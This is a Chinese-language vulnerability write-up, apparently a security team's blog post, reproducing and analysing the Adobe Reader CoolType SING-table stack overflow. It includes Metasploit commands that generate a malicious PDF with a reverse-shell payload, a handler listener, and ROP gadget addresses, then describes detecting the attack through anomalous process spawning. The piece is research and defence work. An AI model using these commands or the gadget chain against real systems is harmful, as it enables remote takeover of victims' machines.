写在前面:近期由于正在进行恶意检测与异常分析相关工作,调试了一些Adobe经典漏洞,在分析此漏洞时,发现许多博客上关于漏洞的触发原理描述的不够准确,多数认为该漏洞是通过栈溢出覆盖返回地址进而实现的ROP攻击,但是在调试中发现,其是通过栈上被调用的函数指针的方式实现的控制流劫持,利用特点和IBULI师傅在研究华硕AC68U栈溢出帖子中的原理类似。
漏洞描述:
在CoolType.dll文件sub_803DBF2函数中,存在栈溢出漏洞。对文件SING表解析后,将UniqueName字段对应内容未进行检查直接用strcat函数拼接,造成溢出。由于canary和DEP防护,攻击劫持的不是返回地址,而是栈上的一个被作为函数指针调用的参数,进而造成控制流劫持并实现ROP攻击。
版本:Adobe Reader RC<=9.4
漏洞静态分析
复现版本:Adobe Reader 9.3.4
首先利用 msfconsole 生成恶意 PDF 文件:
msf6 > use exploit/windows/fileformat/adobe_cooltype_sing
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set payload payload/windows/shell/reverse_tcp
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set filename msf_reverse.pdf
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > exploit
漏洞位于 CoolType.dll 文件处理 SING 表函数中,该函数首先获取 SING 表,之后将 SING 表中的 0x10 偏移位置处(也就是 UniqueName 字段)直接拼接到 Destination 中,造成栈溢出,如图:
利用 PDFStreamDumper 分析生成的恶意 PDF 文件,如图:
SING 表用于解析文件 TTF 字体,因此需要首先澄清一下TTF结构与 SING 表结构。TTF 结构如下,前 4 字节为表标识,如图即为字符串 SING,之后四字节为校验和,再之后四字节为实表偏移,因此我们知道,SING 表的实际存储位置为 0x11C,也就是从字节 00000100 开始。
typedef struct
{
char tag[4]; #表标识
ULONG checkSum; #校验和
ULONG offset; #实表偏移
ULONG length; #实表长度
}TableEntry;
SING 表结构如下,根据 SING 表结构我们可以知道,669688c0 开始是 uniqueName 字段位置,直到 X00 停止,明显可以看出,uniqueName 字段是超长的,因此直接用 strcat 拼接会导致溢出发生。
struct sing
{
USHORT tableVersionMajor;
USHORT tableVersionMinor ;
USHORT glyphletVersion;
USHORT embeddingInfo;
USHORT mainGID;
USHORT unitsPerem;
SHORT vertAdvance;
SHORT vertOrigin;
BYTE uniqueName[28];
BYTE METAMD5[16];
BYTE nameLength;
char *baseGlyphName;
};
漏洞动态调试
通过调试发现,漏洞的溢出原理不是覆盖返回地址,而是通过溢出修改栈上的一处被作为函数指针调用的参数,实现控制流劫持。因为对漏洞函数返回处的指令分析可以得到,函数是带有canary保护的:
我们进行调试,在 strcat 函数执行处下断,此时 strcat 的目标地址为 1EE364:
此时 1EE364 栈地址的布局如下,其实此时就可以发现了,恶意 PDF 中构造的 4A82A714 是覆盖不到返回地址的,说明其只是 ROP 攻击链中的一环。
真正的劫持的栈上的参数地址为距离 4A82A714 写入地址偏移 0x1F0(1EE36C+0x1F0=1EE55C)的位置,可以发现,在执行 strcat 函数前,该参数指向 CoolType.738832B5 函数:
执行完 strcat 函数后,观察栈上布局,此时 1EE36C 已经被覆盖为 4A82A714 且被识别为返回地址。此时 1EE55C 也被成功覆盖,覆盖为 4A80CB38,因此可以知道,攻击是首先劫持控制流至 4A80CB38,然后 4A80CB38 返回至 4A82A714,并执行后续攻击。
在 4A80CB38 设置内存访问断点,可以看到调用位置,此处原本是要调用 CoolType.738832B5 函数,但是由于栈溢出,该指针被修改为了我们设置的劫持地址,进而被劫持并实现后续攻击。
后续攻击如图,首先通过恢复栈空间操作将控制流劫持至 4A82A714 地址,之后 retn 到由 0x0C0C0C0C 堆地址段构成的 ROP 链中,ROP 链会执行 CreateFile、CreateFileMapping、MapViewOfFile 等函数
之后,ROP 链利用 memcpy 函数将 shellcode 写入 02B30000 地址,shellcode 布局在溢出的 0C0C0D54 栈空间中。之后将控制流劫持至 02B30000 处执行,该 shellcode 执行反弹 shell 操作。
开启端口监听:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.58.133
msf6 exploit(multi/handler) > exploit
综上攻击流程为:
劫持作为函数指针调用的参数
-->4A80CB38:add ebp,0x794; retn
-->4A82A714:pop esp; retn
-->0x0c0c0c0c:ROP链
-->reverse shell
0C0C0C0C 地址处的 ROP 链和后续 memcpy 复制的 shellcode 是由 JavaScript 提前布局好的,在 Adobe 解析恶意 PDF 文档时,该 JavaScript 代码被执行,做好了内存的布局,前面是 ROP 链的构造,后面是 shellcode 的构造
漏洞检测
利用 PDFStreamDumper 直接执行漏洞检测,并没有产生结果,因为 JavaScript 经过混淆,单纯的静态检测难以捕捉:
但是系统调用特征的差异性明显,如图分别为运行恶意 PDF 与正常 PDF 的系统调用监控结果如图:(对 cmd.exe 进行筛选)
因此基于异常系统调用的检测,可以实现漏洞利用的检测与恶意性发掘,并且其产生恶意性的进程通常是由父进程产生,且该进程通常为存在漏洞的程序或软件(该漏洞的恶意性进程对应的父进程PID为1484,即为AdobeReader):
根据恶意进程触发的时间戳等 Detail 信息,在 AdobeReader 进程Detail 中结合对应特征,可以进一步分析其可能存在漏洞的动态链接库。也可以分析不同的关系特征,通过动态链接库与恶意进程的关联特点,缩小分析范围。
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):Adobe Reader栈溢出漏洞复现及检测